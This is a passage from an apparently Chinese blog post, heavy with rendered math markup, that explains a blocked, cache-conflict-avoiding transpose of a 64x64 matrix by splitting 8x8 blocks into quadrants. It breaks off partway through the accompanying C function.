separator="true">,</mo><msub><mi>A</mi><mn>21</mn></msub><mo separator="true">,</mo><msub><mi>A</mi><mn>22</mn></msub></mrow><annotation encoding="application/x-tex">A_{11}, A_{12}, A_{21}, A_{22}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">11</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">12</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">21</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">22</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，以及 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>B</mi><mn>11</mn></msub><mo separator="true">,</mo><msub><mi>B</mi><mn>12</mn></msub><mo separator="true">,</mo><msub><mi>B</mi><mn>21</mn></msub><mo separator="true">,</mo><msub><mi>B</mi><mn>22</mn></msub></mrow><annotation encoding="application/x-tex">B_{11}, B_{12}, B_{21}, B_{22}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0502em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">11</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0502em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">12</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0502em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">21</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0502em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">22</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>。</p><p>我们可以轻松转置 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>A</mi><mn>11</mn></msub></mrow><annotation encoding="application/x-tex">A_{11}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">11</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>B</mi><mn>11</mn></msub></mrow><annotation encoding="application/x-tex">B_{11}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0502em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">11</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>A</mi><mn>22</mn></msub></mrow><annotation encoding="application/x-tex">A_{22}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">22</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>B</mi><mn>22</mn></msub></mrow><annotation encoding="application/x-tex">B_{22}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0502em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">22</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，但是还有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>A</mi><mn>12</mn></msub></mrow><annotation encoding="application/x-tex">A_{12}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">12</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>A</mi><mn>21</mn></msub></mrow><annotation encoding="application/x-tex">A_{21}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">21</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>。</p><p>又因为我们需要想办法利用读取 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>A</mi><mn>11</mn></msub></mrow><annotation encoding="application/x-tex">A_{11}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">11</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 的时候读取到的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>A</mi><mn>12</mn></msub></mrow><annotation encoding="application/x-tex">A_{12}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">12</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>（也就是已经读取了 A 的前四行），但是又不能直接写入完 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>B</mi><mn>11</mn></msub></mrow><annotation encoding="application/x-tex">B_{11}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0502em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">11</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 后再写入 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>B</mi><mn>21</mn></msub></mrow><annotation encoding="application/x-tex">B_{21}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0502em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">21</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> （每四行冲突）。</p><p>而写入 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>B</mi><mn>11</mn></msub></mrow><annotation encoding="application/x-tex">B_{11}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0502em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">11</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 的时候，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>B</mi><mn>12</mn></msub></mrow><annotation encoding="application/x-tex">B_{12}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0502em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">12</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 也会被缓存，而 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>B</mi><mn>12</mn></msub></mrow><annotation encoding="application/x-tex">B_{12}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0502em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">12</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 是空的。这样就可以利用 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>B</mi><mn>12</mn></msub></mrow><annotation encoding="application/x-tex">B_{12}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0502em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">12</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 来暂存 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>A</mi><mn>12</mn></msub></mrow><annotation encoding="application/x-tex">A_{12}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">12</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 的数据。（可以先将 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>A</mi><mn>21</mn></msub></mrow><annotation encoding="application/x-tex">A_{21}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">21</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 转置到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>B</mi><mn>12</mn></msub></mrow><annotation encoding="application/x-tex">B_{12}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0502em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">12</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>）</p><p>以上是第一步，然后第二步是将 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>A</mi><mn>21</mn></msub></mrow><annotation encoding="application/x-tex">A_{21}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">21</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 转置到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>B</mi><mn>12</mn></msub></mrow><annotation encoding="application/x-tex">B_{12}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0502em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">12</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，同时将 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>B</mi><mn>12</mn></msub></mrow><annotation encoding="application/x-tex">B_{12}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0502em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">12</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 中的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>A</mi><mn>12</mn><mi>T</mi></msubsup></mrow><annotation encoding="application/x-tex">A_{12}^T</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0894em;vertical-align:-0.2481em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-2.4519em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">12</span></span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2481em;"><span></span></span></span></span></span></span></span></span></span> 写入 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>B</mi><mn>11</mn></msub></mrow><annotation encoding="application/x-tex">B_{11}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0502em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">11</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>。</p><p>最后，第三步，将 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>A</mi><mn>22</mn></msub></mrow><annotation encoding="application/x-tex">A_{22}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">22</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 转置到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>B</mi><mn>22</mn></msub></mrow><annotation encoding="application/x-tex">B_{22}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0502em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">22</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">transpose_block_8_for_64_64</span><span class="params">(<span class="type">int</span> M, <span class="type">int</span> N, <span class="type">int</span> A[N][M], <span class="type">int</span> B[M][N], <span class="type">int</span> si, <span class="type">int</span> sj)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">int</span> a0, a1, a2, a3, a4, a5, a6, a7;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = si; i &lt; si + <span class="number">4</span>; i++)</span><br><span class="line">    &#123;</span><br><span class="line">        a0 = A[i][sj];</span><br><span class="line">        a1 = A[i][sj + <span class="number">1</span>];</span><br><span class="line">        a2 = A[i][sj + <span class="number">2</span>];</span><br><span class="line">        a3 = A[i][sj + <span class="number">3</span>];</span><br><span class="line"></span><br><span class="line">        a4 = A[i][sj + <span class="number">4</span>];</span><br><span class="line">        a5 = A[i][sj + <span class="number">5</span>];</span><br><span class="line">        a6 = A[i][sj + <span class="number">6</span>];</span><br><span class="line">        a7 = A[i][sj + <span class="number">7</span>];</span><br><span class="line"></span><br><span class="line">        B[sj][i] = a0;</span><br><span class="line">        B[sj + <span class="number">1</span>][i] = a1;</span><br><span class="line">        B[sj + <span class="number">2</span>][i] = a2;</span><br><span class="line">        B[sj + <span class="number">3</span>][i] = a3;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// A12 